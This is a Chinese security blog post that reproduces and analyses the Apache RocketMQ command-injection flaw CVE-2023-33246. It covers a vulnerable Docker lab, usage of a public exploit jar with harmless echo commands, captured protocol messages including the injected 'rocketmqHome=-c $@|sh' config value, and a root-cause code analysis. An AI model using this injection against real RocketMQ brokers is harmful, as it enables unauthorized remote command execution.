CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析

2023-11-11

CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析


0x0.威胁情报:

漏洞编号 CVE编号 CVE-2023-33246
漏洞评估 危害评级 高危
漏洞类型 RCE
公开程度 PoC已公开
利用条件 1.在受影响版本内
威胁类型 远程
利用情报 在野利用
漏洞活跃度
影响产品 产品名称 Apache RocketMQ
受影响版本 5.x <= 5.1.0 及 4.x<=4.9.6
影响范围
有无修复补丁

参考

https://lists.apache.org/thread/s78r8lw08xtvh1ojvo65p0f4jyo9lt7v

0x1.复现环境搭建:

0x10 Apache RocketMQ的应用组网

在这里插入图片描述

如上图所示Apache RocketMQ 应用组网中 核心部分包括 NameServer 节点/集群,用于运维管理。Broker节点/集群用户核心的消息订阅发送逻辑。Producer是消息数据的产生方,Consumer小消息的接收方。同时可以扩展部属console节点用于提供Web管理界面。

0x101 Windows10 Docker环境准备

(略 网上下载无脑装就好了)

0x102 Apache RocketMQ 4.91 Docker 环境安装
  • 下载镜像:
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
  • 启动broker、namesrv、console(可选):

mqsrv绑定网口IP写host文件
在这里插入图片描述

  • 启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv /bin/bash
  • 启动broker
docker run -dit -p 10908:10908 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /home/rocketmq/rocketmq-4.9.1/conf/broker.conf
  • 启动console
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
  • 启动完成后效果:
    在这里插入图片描述

如上图所示NameServer 节点关键端口 9876;Broker节点关键端口10911

参考: https://github.com/yizhimanpadewoniu/CVE-2023-33246-Copy

0x2.EXP漏洞复现:

0x21 EXP来源:

https://github.com/SuperZero/CVE-2023-33246

0x22 使用方式:

java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "注入的命令"
0x23 实战复现:

由于Docker环境下支持的命令很少,目前通过注入echo命令,写文件的方式证明漏洞的存在

D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/1"
D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/2"

在这里插入图片描述

注入后查看Broker节点的文件:
在这里插入图片描述

如上图所示 文件 已经写入 /tmp目录下,表明注入漏洞的存在。

0x3.成因分析:

漏洞形成的原因很传统:1.提供无加密与鉴权的不安全服务;2.对于用户输入的检查与过滤不足。

0x31 根因1:无鉴权、无加密的不安全服务:

从 EXP的日志来看,EXP做了两次交互,第1次是和NameSever 9876端口的交互,获取注册 Broker的信息,第二次是和Broker的交互,发送配置信息

EXP与NameServer的交互:

在这里插入图片描述

{“code”:105,“extFields”:{“topic”:“TBW102”},“flag”:0,“language”:“JAVA”,“opaque”:1,“serializeTypeCurrentRPC”:“JSON”,“version”:395}
在这里插入图片描述

返回如下注册Broker数据:

{“brokerDatas”:
[
{“brokerAddrs”:{0:“172.17.0.4:10911”},
“brokerName”:“broker-a”,
“cluster”:“DefaultCluster”}],
“filterServerTable”:{},
“queueDatas”:[{“brokerName”:“broker-a”,“perm”:7,“readQueueNums”:8,“topicSysFlag”:0,“writeQueueNums”:8} ]}

可见,EXP可以仿冒Console节点,访问NameServer节点获取注册 Broker数据,而不需任何鉴权,且数据明文传输。

EXP与Broker的交互:
在这里插入图片描述

如上图所示,EXP仿冒NameServer向Broker发送配置修改数据,修改 **rocketmqHome 函数,**同时配置参数中拼接了操作系统命令:

{“code”:25,“flag”:0,“language”:“JAVA”,“opaque”:0,“serializeTypeCurrentRPC”:“JSON”,“version”:395}filterServerNums=1 rocketmqHome=-c $@|sh . echo echo 11 > /tmp/3;

从EXP源码看:
在这里插入图片描述

源码整个过程非常简单,先生成 DefaultMQAdminExt 实力以及调用 updateBrokerConfig方法的关键过程中,均无任何鉴权凭证的的输入,属于未授权访问范畴。

0x31 根因2:ApacheRocketMQ 后端验证不足及高危函数调用:
  • 从日志着手

在这里插入图片描述

如上图所示**,CallShell**这个函数十分辣眼睛,渗透同学很容易联想到了,操作系统 Bash命令调用。

从请求消息中提取配置:

关键调用processRequest()-> updateBrokerConfig() -->getConfiguration()–>update():
在这里插入图片描述
在这里插入图片描述

从这些配置处理过程中,并没有看到对于配置参数合法性的检查和过滤

提取配置,并组装命令执行:
在这里插入图片描述
在这里插入图片描述

如上图所示,对于cmdArray传递过来的参数,没有任何的检查和过滤,直接调用exec进行执行

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析 的相关文章

  • 文件缓存:查询字符串与上次修改时间?

    我正在研究缓存网站资源的方法 并注意到大多数与我类似的网站都使用查询字符串来覆盖缓存 例如 css style css v 124942823 后来 我注意到每当我保存 style css 文件时 最后修改的标头都会 更新 使得查询字符串变
  • DOMDocument::save[domdocument.save]:无法打开流:权限被拒绝

    我有一个代码可以将 XML 文件保存到我的目录中 它实际上在我的本地主机和我的共享主机中就像一个魅力 但它在我的 Linux VPS 中不起作用 我总是收到这个错误 警告 DOMDocument save home admin xxxxxx
  • .htaccess 重写规则冲突

    我正在编写代码并构建一个 htaccess 文件 其中包含以下内容 RewriteEngine on RewriteRule A Za z0 9 A Za z0 9 index php id 1 NC L Handle page reque
  • 一个好的多线程 python 网络服务器?

    我正在寻找一个多线程而不是多进程的 python Web 服务器 如 apache 的 mod python 的情况 我希望它是多线程的 因为我希望有一个内存对象缓存供各种 http 线程使用 我的网络服务器做了很多昂贵的事情并计算了一些大
  • 在 XSSF 工作簿上设置密码保护

    我想为使用 poi 3 14 创建的 xlsx 文件添加密码保护 该文档声称 这是可能的 http poi apache org cryption html http poi apache org encryption html 使用我尝试
  • apache ProxyPass:如何保留原始IP地址

    我们使用 ProxyPass 将所有 r 请求重定向到端口 18080 上的 jboss 如下所示 ProxyPreserveHost on ProxyPass r http localhost 18080 redirectService
  • rewrite_mod 已启用,但 .htaccess 不起作用

    我在 Amazon EC2 的 ubuntu 12 04 中使用 apache 2 2 我使用启用了 mod rewrite sudo a2enmod rewrite 并能够看到 apache2ctl M 现在我编写了以下 htaccess
  • 奇怪的 500 内部服务器错误(firebug、php、display_errors、ajax)

    在一页上我正在进行多个 AJAX 调用 所有调用均成功返回响应 但最后一个调用 与其他 ajax 调用无关 返回 500 内部服务器错误作为响应代码 如 firebug 所示 但是 尽管存在错误代码 该 AJAX 调用仍会返回正确的内容 令
  • Apache 2 gzip json 默认输出吗?

    我正在使用此 PHP 代码进行 json 输出 apache默认gzip吗 或者 我该如何检查才能确定 header Content type application json header Cache Control max age 0
  • Angular 2 路由在使用 Apache 进行页面刷新时不起作用

    使用 Angular 2 RC 4 和更新的 angular router 我使用中的答案得到了要在浏览器中显示的路由 URL这个问题 https stackoverflow com questions 34816025 angular2
  • 从存储库检出代码时出现 SVN 错误 E175002

    在尝试从在线存储库中签出代码时 我收到以下错误 E175002 repos xxx svn vcc default 的报告 我正在尝试从远程计算机上签出代码 经过长时间的研究 我终于找到了一个解决方案 解决方案是allow from all
  • Cakephp 在 Bluehost 上安装

    如何设置 Cakephp 才能在 Bluehost 上正常工作 我应该将我的应用程序 cake 和供应商文件夹以及 htaccess 和 index php 文件放在 public html 目录中吗 我按照这里的说明进行操作 http b
  • 如何从Python请求库正确返回http响应(想要一个Python反向代理)

    这个问题继续自here https stackoverflow com questions 48635552 how to programmatically communicate with apache 我想创建一个反向代理 它允许我托管
  • org.apache.http 软件包在 API 级别 23 中被删除。替代方案是什么?

    在更新到最新的 android API 级别 23 Marshmallow 后 通过 build gradle 添加以下更改后 所有 org apache http 类都不起作用 android compileSdkVersion 23 b
  • apache2.4.7 未将“404 Not Found”页面记录到 error.log

    我见过有关如何做的问题not将404错误记录到错误日志中 这是相反的 由于某种原因 我的 apache 安装没有将 404 错误记录到我的错误日志 或与此相关的访问日志 我已经正确设置了错误日志并看到了错误 但是当我访问不存在的页面时 我只
  • Ubuntu + SVN:无法打开请求的 SVN 文件系统

    我知道这个问题已经被问过很多次了 我相信我明白答案 但我仍然没有运气 我都尝试过one repo and multiple repos配置 两者都有相同的问题 因此 对于我感兴趣的配置
  • PHP SNMP - 找不到模块

    我已启用 SNMP 模块并尝试使用该模块中的功能 我已将 MIBDIRS 环境变量设置为我的 mib 所在的位置 但我仍然收到这些 找不到模块 警告 Cannot find module IP MIB At line 0 in none C
  • 使用 VirtualDocumentRoot 的 SSL 虚拟主机

    我在 ubuntu 16 04 VM 上进行开发工作 当我处理多个项目时 为了让我的生活更轻松 我使用 VirtualDocumentRoot 和主机文件使用 dev 域从我的主文件夹中服务器站点 在 000 default conf 我有
  • 强制 Apache HTTPD 以 32 位运行

    我通过从二进制文件 以及 ppc 部分 中剥离 32 位架构 以 64 位模式运行 Apache HTTPD 我这样做是为了使其与 python 和 mysql 更加兼容 然而 我有另一台机器需要它以 32 位模式运行 它仍然保留所有四种原
  • apache_request_headers() 与 $_SERVER

    据我所知 apache request headers 提供与以下相同的信息 SERVER 但按键略有不同 为什么有人应该使用apache request headers 而不仅仅是从那里获取这些信息 SERVER 我在 Centos 上使

随机推荐